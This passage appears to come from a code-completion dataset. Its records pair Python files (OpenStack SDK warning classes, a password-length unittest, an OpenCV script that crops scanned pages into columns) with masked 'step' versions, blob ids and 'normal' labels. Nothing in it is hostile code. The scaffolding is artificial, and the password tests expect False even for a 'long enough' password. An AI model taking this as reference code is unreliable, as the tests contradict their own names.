\"Aardwolf\", heuristic_2))\n", "step-ids": [ 12, 15, 17, 18, 23 ] }	[ 12, 15, 17, 18, 23 ]
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. class OpenStackDeprecationWarning(DeprecationWarning): """Base class for warnings about deprecated features in openstacksdk.""" class RemovedResourceWarning(OpenStackDeprecationWarning): """Indicates that a resource has been removed in newer API versions and should not be used. """ class RemovedFieldWarning(OpenStackDeprecationWarning): """Indicates that a field has been removed in newer API versions and should not be used. """ class LegacyAPIWarning(OpenStackDeprecationWarning): """Indicates an API that is in 'legacy' status, a long term deprecation.""" class OpenStackWarning(Warning): """Base class for general warnings in openstacksdk.""" class ConfigurationWarning(OpenStackWarning): """Indicates an issue with configuration.""" class UnsupportedServiceVersion(OpenStackWarning): """Indicates a major version that SDK doesn't understand."""	normal	{ "blob_id": "6339a1a06319a748030b3411c7a8d00f36336e65", "index": 9778, "step-1": "<mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n <mask token>\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-2": "<mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-3": "class OpenStackDeprecationWarning(DeprecationWarning):\n <mask token>\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-4": "class OpenStackDeprecationWarning(DeprecationWarning):\n \"\"\"Base class for warnings about deprecated features in openstacksdk.\"\"\"\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-5": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nclass OpenStackDeprecationWarning(DeprecationWarning):\n \"\"\"Base class for warnings about deprecated features in openstacksdk.\"\"\"\n\n\nclass RemovedResourceWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a resource has been removed in newer API versions and\n should not be used.\n \"\"\"\n\n\nclass RemovedFieldWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates that a field has been removed in newer API versions and should\n not be used.\n \"\"\"\n\n\nclass LegacyAPIWarning(OpenStackDeprecationWarning):\n \"\"\"Indicates an API that is in 'legacy' status, a long term deprecation.\"\"\"\n\n\nclass OpenStackWarning(Warning):\n \"\"\"Base class for general warnings in openstacksdk.\"\"\"\n\n\nclass ConfigurationWarning(OpenStackWarning):\n \"\"\"Indicates an issue with configuration.\"\"\"\n\n\nclass UnsupportedServiceVersion(OpenStackWarning):\n \"\"\"Indicates a major version that SDK doesn't understand.\"\"\"\n", "step-ids": [ 11, 12, 13, 14, 15 ] }	[ 11, 12, 13, 14, 15 ]
import unittest from validate_pw_complexity import * class Test_PW_Functions(unittest.TestCase): def test_pw_not_long_enough_min(self): sample_pass ="abcd" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result) def test_pw_just_long_enough_min(self): sample_pass = "abcdadca" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result) def test_pw_long_enough_min(self): sample_pass = "abcdadcaabc" expected_result = False result = validate_pw_long(sample_pass) self.assertEqual(expected_result, result)	normal	{ "blob_id": "dc7d75bf43f1ba55673a43f863dd08e99a1c0e0f", "index": 4820, "step-1": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-2": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n <mask token>\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-3": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = 'abcdadca'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-4": "import unittest\nfrom validate_pw_complexity import \n\n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass = 'abcd'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = 'abcdadca'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-5": "import unittest\n\nfrom validate_pw_complexity import \n\nclass Test_PW_Functions(unittest.TestCase):\n\n def test_pw_not_long_enough_min(self):\n sample_pass =\"abcd\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_just_long_enough_min(self):\n sample_pass = \"abcdadca\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n\n def test_pw_long_enough_min(self):\n sample_pass = \"abcdadcaabc\"\n expected_result = False\n\n result = validate_pw_long(sample_pass)\n self.assertEqual(expected_result, result)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
<\|reserved_special_token_0\|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <\|reserved_special_token_0\|> def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White \| White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files <\|reserved_special_token_0\|> def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <\|reserved_special_token_0\|> def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White \| White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar <\|reserved_special_token_0\|> def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = a.size - 2 + 1 return a[1 * np.arange(nrows)[:, None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White \| White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> os.environ['OPENCV_IO_ENABLE_JASPER'] = 'True' <\|reserved_special_token_0\|> DILATE_KERNEL = np.array([[0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype =np.uint8) def adaptative_thresholding(img, threshold): I = img gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY) orignrows, origncols = gray.shape M = int(np.floor(orignrows / 16) + 1) N = int(np.floor(origncols / 16) + 1) Mextend = round(M / 2) - 1 Nextend = round(N / 2) - 1 aux = cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left= Nextend, right=Nextend, borderType=cv2.BORDER_REFLECT) windows = np.zeros((M, N), np.int32) imageIntegral = cv2.integral(aux, windows, -1) nrows, ncols = imageIntegral.shape result = np.zeros((orignrows, origncols)) for i in range(nrows - M): for j in range(ncols - N): result[i, j] = imageIntegral[i + M, j + N] - imageIntegral[i, j + N ] + imageIntegral[i, j] - imageIntegral[i + M, j] binar = np.ones((orignrows, origncols), dtype=np.bool) graymult = gray.astype('float64') * M * N binar[graymult <= result * (100.0 - threshold) / 100.0] = False binar = (255 * binar).astype(np.uint8) return binar def Q_test(sorted_data): conf95_level = {(3): 0.97, (4): 0.829, (5): 0.71, (6): 0.625, (7): 0.568, (8): 0.526, (9): 0.493} q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0]) print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs( sorted_data[-1] - sorted_data[0]))) print('q_exp : ' + str(q_exp)) return q_exp > conf95_level[min(9, len(sorted_data))] COLUMNS = 0 GREEN = 0, 255, 0 LINE_THICKNESS = 3 PADDING = 10 CREATE_COLUMN_OUTLINE_IMAGES = True def columnIndexes(a): """ creates pair of indexes for left and right index of the image column For example [13, 1257, 2474, 3695, 4907, 6149] becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]] """ nrows = a.size - 2 + 1 return a[1 * np.arange(nrows)[:, None] + np.arange(2)] def convertToGrayscale(img): temp_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) return temp_img def invert(img): """ Black -> White \| White -> Black """ print('invert image') _, temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV) return temp_img def dilateDirection(img, debug=False): """ It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. So it increases the white region in the image or size of foreground object increases. Normally, in cases like noise removal, erosion is followed by dilation. Because, erosion removes white noises, but it also shrinks our object. So we dilate it. Since noise is gone, they won't come back, but our object area increases. It is also useful in joining broken parts of an object. """ print('applying dilation morph') temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) """ if debug: filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename) cv2.imwrite(filepath, temp_img) """ return temp_img def createColumnImages(img, basename, directory): """ we sum each column of the inverted image. The columns should show up as peaks in the sums uses scipy.signal.find_peaks to find those peaks and use them as column indexes """ files = [] temp_img = convertToGrayscale(img) temp_img = invert(temp_img) temp_img = dilateDirection(temp_img) sums = np.sum(temp_img, axis=COLUMNS) sums[0] = 1000 sums = sums * -4 peaks, _ = find_peaks(sums, distance=600) sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks))) sorted_sums = sorted(sum_to_index.keys()) """ qr = Q_test(sorted_sums) if qr: peaks = peaks[peaks != sum_to_index[sorted_sums[0]]] """ print('PeakNum, Sum, QRemove for ' + basename) for x in peaks: print(str(x) + ', ' + str(sums[x])) print('----------') if peaks.size == 0: with open('troublesomeImages.txt', 'a') as f: print( 'ERROR: something went wrong with finding the peaks for image: ' , os.path.join(directory, basename)) f.write(os.path.join(directory, basename) + '.jpg 0\n') return files peaks[0] = 0 peaks[-1] = sums.size - 1 boxed = np.copy(img) if peaks.size < 6: with open('troublesomeImages.txt', 'a') as f: print('found image that is causing problems: ', os.path.join( directory, basename)) f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks .size) + '\n') columnIndexPairs = columnIndexes(peaks) ystart = 0 yend = img.shape[0] for columnIndexPair in columnIndexPairs: xstart = max(columnIndexPair[0] - PADDING, 0) xend = min(columnIndexPair[1] + PADDING, img.shape[1]) if not os.path.exists(directory): os.makedirs(directory) filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % ( basename, xstart, xend)) files.append(filepath) crop_img = img[ystart:yend, xstart:xend] print('writing out cropped image: ', filepath) if not cv2.imwrite(filepath, crop_img): print('failed') if CREATE_COLUMN_OUTLINE_IMAGES: cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN, LINE_THICKNESS) if CREATE_COLUMN_OUTLINE_IMAGES: filepath = os.path.join(directory, '%s-contours.jpeg' % basename) cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50]) return files def invert_experiment(): test_img = cv2.imread( './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg') for thresh in range(1, 200, 20): print('writing thresh= ' + str(thresh)) _, temp_img = cv2.threshold(test_img, thresh, 255, cv2. THRESH_BINARY_INV) cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg', temp_img) def test(img, basename): test_img = convertToGrayscale(img) test_img = invert(test_img) test_img = dilateDirection(test_img) cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg', test_img) """ for r in range(0, 40, 5): name = 'rank=' + str(r) + ".jpg" path = './ocr/test_images/' + name new_img = ndimage.rank_filter(test_img, rank=r, size=20) print("writing " + name) cv2.imwrite(path, new_img) """ if __name__ == '__main__': print('STARTING') for f in os.listdir('./ocr/data/gb19gw39h/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/') for f in os.listdir('./ocr/data/8k71pf94q/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/') for f in os.listdir('./ocr/data/mc87rq85m/'): if f.endswith('.jpg'): createColumnImages(cv2.imread(os.path.join( './ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/') """ data_folder = './ocr/data/' for folder in os.listdir(data_folder): if folder == ".DS_Store": continue for file in os.listdir(os.path.join(data_folder, folder)): if file.endswith(".jpg"): print("calling test() on " + file) #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0]) createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/') for f in os.listdir('./ocr/data/8k71pr786/'): if 